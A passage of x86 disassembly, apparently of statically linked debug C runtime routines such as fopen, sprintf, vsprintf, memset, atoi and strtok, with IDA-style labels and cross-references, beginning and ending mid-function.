mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416D80
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_418F00
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_416D40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D80 proc near ; CODE XREF: sub_416D40+20p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_416DA9
xor eax, eax
jmp loc_416F4B
; ---------------------------------------------------------------------------
loc_416DA9: ; CODE XREF: sub_416D80+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_416DC4
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_416DCB
; ---------------------------------------------------------------------------
loc_416DC4: ; CODE XREF: sub_416D80+37j
mov [ebp+var_1C], 1000h
loc_416DCB: ; CODE XREF: sub_416D80+42j
; sub_416D80:loc_416F43j
cmp [ebp+var_C], 0
jz loc_416F48
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 10Ch
test edx, edx
jz short loc_416E59
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_416E59
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_416E01
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_416E0A
; ---------------------------------------------------------------------------
loc_416E01: ; CODE XREF: sub_416D80+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_416E0A: ; CODE XREF: sub_416D80+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_4187B0
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_416F43
; ---------------------------------------------------------------------------
loc_416E59: ; CODE XREF: sub_416D80+63j
; sub_416D80+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_416EFE
cmp [ebp+var_1C], 0
jz short loc_416E7D
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_416E83
; ---------------------------------------------------------------------------
loc_416E7D: ; CODE XREF: sub_416D80+E9j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_416E83: ; CODE XREF: sub_416D80+FBj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_41DD40
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_416EC8
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_416F4B
; ---------------------------------------------------------------------------
loc_416EC8: ; CODE XREF: sub_416D80+127j
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_416EEA
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_416F4B
; ---------------------------------------------------------------------------
loc_416EEA: ; CODE XREF: sub_416D80+14Cj
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
jmp short loc_416F43
; ---------------------------------------------------------------------------
loc_416EFE: ; CODE XREF: sub_416D80+DFj
mov eax, [ebp+arg_C]
push eax
call sub_41DB50
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_416F20
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_416F4B
; ---------------------------------------------------------------------------
loc_416F20: ; CODE XREF: sub_416D80+191j
mov ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_4]
mov [ecx], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
loc_416F43: ; CODE XREF: sub_416D80+D4j
; sub_416D80+17Cj
jmp loc_416DCB
; ---------------------------------------------------------------------------
loc_416F48: ; CODE XREF: sub_416D80+4Fj
mov eax, [ebp+arg_8]
loc_416F4B: ; CODE XREF: sub_416D80+24j
; sub_416D80+143j ...
mov esp, ebp
pop ebp
retn
sub_416D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F50 proc near ; CODE XREF: sub_417050+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_416F59: ; CODE XREF: sub_416F50+31j
cmp [ebp+arg_0], 0
jnz short loc_416F7D
push offset aFileNull ; "file != NULL"
push 0
push 35h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_416F7D
int 3 ; Trap to Debugger
loc_416F7D: ; CODE XREF: sub_416F50+Dj
; sub_416F50+2Aj
xor eax, eax
test eax, eax
jnz short loc_416F59
loc_416F83: ; CODE XREF: sub_416F50+5Fj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_416FAB
push offset aFile_t0 ; "*file != _T('\\0')"
push 0
push 36h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_416FAB
int 3 ; Trap to Debugger
loc_416FAB: ; CODE XREF: sub_416F50+3Bj
; sub_416F50+58j
xor eax, eax
test eax, eax
jnz short loc_416F83
loc_416FB1: ; CODE XREF: sub_416F50+89j
cmp [ebp+arg_4], 0
jnz short loc_416FD5
push offset aModeNull ; "mode != NULL"
push 0
push 37h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_416FD5
int 3 ; Trap to Debugger
loc_416FD5: ; CODE XREF: sub_416F50+65j
; sub_416F50+82j
xor ecx, ecx
test ecx, ecx
jnz short loc_416FB1
loc_416FDB: ; CODE XREF: sub_416F50+B7j
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_417003
push offset aMode_t0 ; "*mode != _T('\\0')"
push 0
push 38h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_417003
int 3 ; Trap to Debugger
loc_417003: ; CODE XREF: sub_416F50+93j
; sub_416F50+B0j
xor ecx, ecx
test ecx, ecx
jnz short loc_416FDB
call sub_41E5B0
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41701B
xor eax, eax
jmp short loc_417045
; ---------------------------------------------------------------------------
loc_41701B: ; CODE XREF: sub_416F50+C5j
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41E220
add esp, 10h
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
push eax
call sub_418F00
add esp, 4
mov eax, [ebp+var_8]
loc_417045: ; CODE XREF: sub_416F50+C9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416F50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417050 proc near ; CODE XREF: sub_4010AB+18p
; sub_403038+29F0p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 40h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416F50
add esp, 0Ch
pop ebp
retn
sub_417050 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417070 proc near ; CODE XREF: ___:0040120Ap
; ___:00401218p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4170C3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4170B7
neg ecx
and ecx, 3
jz short loc_417099
sub edx, ecx
loc_417093: ; CODE XREF: sub_417070+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_417093
loc_417099: ; CODE XREF: sub_417070+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4170B7
rep stosd
test edx, edx
jz short loc_4170BD
loc_4170B7: ; CODE XREF: sub_417070+18j
; sub_417070+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4170B7
loc_4170BD: ; CODE XREF: sub_417070+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4170C3: ; CODE XREF: sub_417070+Aj
mov eax, [esp+arg_0]
retn
sub_417070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170D0 proc near ; CODE XREF: sub_4013FF+1Cp
; sub_4105CB+19p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
loc_4170DF: ; CODE XREF: sub_4170D0+37j
cmp [ebp+arg_0], 0
jnz short loc_417103
push offset aStringNull ; "string != NULL"
push 0
push 5Ah
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_417103
int 3 ; Trap to Debugger
loc_417103: ; CODE XREF: sub_4170D0+13j
; sub_4170D0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_4170DF
loc_417109: ; CODE XREF: sub_4170D0+61j
cmp [ebp+arg_8], 0
jnz short loc_41712D
push offset aFormatNull ; "format != NULL"
push 0
push 5Bh
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41712D
int 3 ; Trap to Debugger
loc_41712D: ; CODE XREF: sub_4170D0+3Dj
; sub_4170D0+5Aj
xor edx, edx
test edx, edx
jnz short loc_417109
mov eax, [ebp+var_24]
mov dword ptr [eax+0Ch], 42h
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_24]
push eax
call sub_41E9B0
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_4171A8
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_4171B9
; ---------------------------------------------------------------------------
loc_4171A8: ; CODE XREF: sub_4170D0+B4j
mov edx, [ebp+var_24]
push edx
push 0
call sub_41E730
add esp, 8
mov [ebp+var_2C], eax
loc_4171B9: ; CODE XREF: sub_4170D0+D6j
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4170D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171D0 proc near ; CODE XREF: sub_401445+5Ep
; sub_40219C+2Ep ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_4171E5: ; CODE XREF: sub_4171D0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_417209
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_417209
int 3 ; Trap to Debugger
loc_417209: ; CODE XREF: sub_4171D0+19j
; sub_4171D0+36j
xor edx, edx
test edx, edx
jnz short loc_4171E5
loc_41720F: ; CODE XREF: sub_4171D0+67j
cmp [ebp+arg_4], 0
jnz short loc_417233
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_417233
int 3 ; Trap to Debugger
loc_417233: ; CODE XREF: sub_4171D0+43j
; sub_4171D0+60j
xor eax, eax
test eax, eax
jnz short loc_41720F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov dword ptr [eax+4], 7FFFFFFFh
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_24]
push eax
call sub_41E9B0
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_4172AF
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_30], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_4172C0
; ---------------------------------------------------------------------------
loc_4172AF: ; CODE XREF: sub_4171D0+BBj
mov edx, [ebp+var_24]
push edx
push 0
call sub_41E730
add esp, 8
mov [ebp+var_30], eax
loc_4172C0: ; CODE XREF: sub_4171D0+DDj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4171D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172D0 proc near ; CODE XREF: sub_401445+42p
; ___:004028A9p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_C]
mov [ebp+var_2C], ecx
loc_4172E5: ; CODE XREF: sub_4172D0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_417309
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_417309
int 3 ; Trap to Debugger
loc_417309: ; CODE XREF: sub_4172D0+19j
; sub_4172D0+36j
xor edx, edx
test edx, edx
jnz short loc_4172E5
loc_41730F: ; CODE XREF: sub_4172D0+67j
cmp [ebp+arg_8], 0
jnz short loc_417333
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_417333
int 3 ; Trap to Debugger
loc_417333: ; CODE XREF: sub_4172D0+43j
; sub_4172D0+60j
xor eax, eax
test eax, eax
jnz short loc_41730F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_41E9B0
add esp, 0Ch
mov [ebp+var_28], eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_24]
cmp dword ptr [edx+4], 0
jl short loc_4173AE
mov eax, [ebp+var_24]
mov ecx, [eax]
mov byte ptr [ecx], 0
xor edx, edx
and edx, 0FFh
mov [ebp+var_30], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+var_24]
mov [edx], ecx
jmp short loc_4173BF
; ---------------------------------------------------------------------------
loc_4173AE: ; CODE XREF: sub_4172D0+BAj
mov eax, [ebp+var_24]
push eax
push 0
call sub_41E730
add esp, 8
mov [ebp+var_30], eax
loc_4173BF: ; CODE XREF: sub_4172D0+DCj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4172D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4173D0 proc near ; CODE XREF: sub_4174D0+7p
; sub_428F10+271p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
loc_4173D6: ; CODE XREF: sub_4173D0+4Ej
cmp dword_443B70, 1
jle short loc_4173F6
push 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41740F
; ---------------------------------------------------------------------------
loc_4173F6: ; CODE XREF: sub_4173D0+Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_10], edx
loc_41740F: ; CODE XREF: sub_4173D0+24j
cmp [ebp+var_10], 0
jz short loc_417420
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4173D6
; ---------------------------------------------------------------------------
loc_417420: ; CODE XREF: sub_4173D0+43j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
cmp [ebp+var_4], 2Dh
jz short loc_417445
cmp [ebp+var_4], 2Bh
jnz short loc_417458
loc_417445: ; CODE XREF: sub_4173D0+6Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_417458: ; CODE XREF: sub_4173D0+73j
mov [ebp+var_8], 0
loc_41745F: ; CODE XREF: sub_4173D0+E9j
cmp dword_443B70, 1
jle short loc_41747B
push 4
mov edx, [ebp+var_4]
push edx
call sub_41DA90
add esp, 8
mov [ebp+var_14], eax
jmp short loc_417490
; ---------------------------------------------------------------------------
loc_41747B: ; CODE XREF: sub_4173D0+96j
mov eax, [ebp+var_4]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_14], edx
loc_417490: ; CODE XREF: sub_4173D0+A9j
cmp [ebp+var_14], 0
jz short loc_4174BB
mov eax, [ebp+var_8]
imul eax, 0Ah
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-30h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_41745F
; ---------------------------------------------------------------------------
loc_4174BB: ; CODE XREF: sub_4173D0+C4j
cmp [ebp+var_C], 2Dh
jnz short loc_4174C8
mov eax, [ebp+var_8]
neg eax
jmp short loc_4174CB
; ---------------------------------------------------------------------------
loc_4174C8: ; CODE XREF: sub_4173D0+EFj
mov eax, [ebp+var_8]
loc_4174CB: ; CODE XREF: sub_4173D0+F6j
mov esp, ebp
pop ebp
retn
sub_4173D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174D0 proc near ; CODE XREF: ___:0040250Fp
; ___:0040252Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_4173D0
add esp, 4
pop ebp
retn
sub_4174D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
loc_4174F7: ; CODE XREF: ___:0041753Fj
cmp dword_443B70, 1
jle short loc_417517
push 8
mov eax, [ebp+8]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41DA90
add esp, 8
mov [ebp-14h], eax
jmp short loc_417530
; ---------------------------------------------------------------------------
loc_417517: ; CODE XREF: ___:004174FEj
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp-14h], edx
loc_417530: ; CODE XREF: ___:00417515j
cmp dword ptr [ebp-14h], 0
jz short loc_417541
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
jmp short loc_4174F7
; ---------------------------------------------------------------------------
loc_417541: ; CODE XREF: ___:00417534j
mov ecx, [ebp+8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
mov ecx, [ebp-4]
mov [ebp-10h], ecx
cmp dword ptr [ebp-4], 2Dh
jz short loc_417566
cmp dword ptr [ebp-4], 2Bh
jnz short loc_417579
loc_417566: ; CODE XREF: ___:0041755Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
loc_417579: ; CODE XREF: ___:00417564j
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 0
loc_417587: ; CODE XREF: ___:004175F7j
cmp dword_443B70, 1
jle short loc_4175A3
push 4
mov edx, [ebp-4]
push edx
call sub_41DA90
add esp, 8
mov [ebp-18h], eax
jmp short loc_4175B8
; ---------------------------------------------------------------------------
loc_4175A3: ; CODE XREF: ___:0041758Ej
mov eax, [ebp-4]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp-18h], edx
loc_4175B8: ; CODE XREF: ___:004175A1j
cmp dword ptr [ebp-18h], 0
jz short loc_4175F9
push 0
push 0Ah
mov eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_41F850
mov ecx, eax
mov esi, edx
mov eax, [ebp-4]
sub eax, 30h
cdq
add ecx, eax
adc esi, edx
mov [ebp-0Ch], ecx
mov [ebp-8], esi
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
jmp short loc_417587
; ---------------------------------------------------------------------------
loc_4175F9: ; CODE XREF: ___:004175BCj
cmp dword ptr [ebp-10h], 2Dh
jnz short loc_41760E
mov eax, [ebp-0Ch]
neg eax
mov edx, [ebp-8]
adc edx, 0
neg edx
jmp short loc_417614
; ---------------------------------------------------------------------------
loc_41760E: ; CODE XREF: ___:004175FDj
mov eax, [ebp-0Ch]
mov edx, [ebp-8]
loc_417614: ; CODE XREF: ___:0041760Cj
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417620 proc near ; CODE XREF: ___:00402502p
; ___:0040251Fp ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
call sub_41F970
mov [ebp+var_8], eax
mov [ebp+var_C], 0
jmp short loc_417646
; ---------------------------------------------------------------------------
loc_41763D: ; CODE XREF: sub_417620+34j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_417646: ; CODE XREF: sub_417620+1Bj
cmp [ebp+var_C], 20h
jge short loc_417656
mov edx, [ebp+var_C]
mov [ebp+edx+var_2C], 0
jmp short loc_41763D
; ---------------------------------------------------------------------------
loc_417656: ; CODE XREF: sub_417620+2Aj
; sub_417620+79j
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
sar edx, 3
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_2C]
or cl, al
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
sar eax, 3
mov [ebp+eax+var_2C], cl
mov ecx, [ebp+var_30]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_30]
add eax, 1
mov [ebp+var_30], eax
test edx, edx
jnz short loc_417656
cmp [ebp+arg_0], 0
jz short loc_4176A9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
jmp short loc_4176B2
; ---------------------------------------------------------------------------
loc_4176A9: ; CODE XREF: sub_417620+7Fj
mov edx, [ebp+var_8]
mov eax, [edx+18h]
mov [ebp+var_4], eax
loc_4176B2: ; CODE XREF: sub_417620+87j
; sub_417620+CFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_4176F1
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_4176F1
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4176B2
; ---------------------------------------------------------------------------
loc_4176F1: ; CODE XREF: sub_417620+B9j
; sub_417620+C4j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp short loc_417702
; ---------------------------------------------------------------------------
loc_4176F9: ; CODE XREF: sub_417620:loc_417747j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_417702: ; CODE XREF: sub_417620+D7j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_417749
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_417747
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_417749
; ---------------------------------------------------------------------------
loc_417747: ; CODE XREF: sub_417620+114j
jmp short loc_4176F9
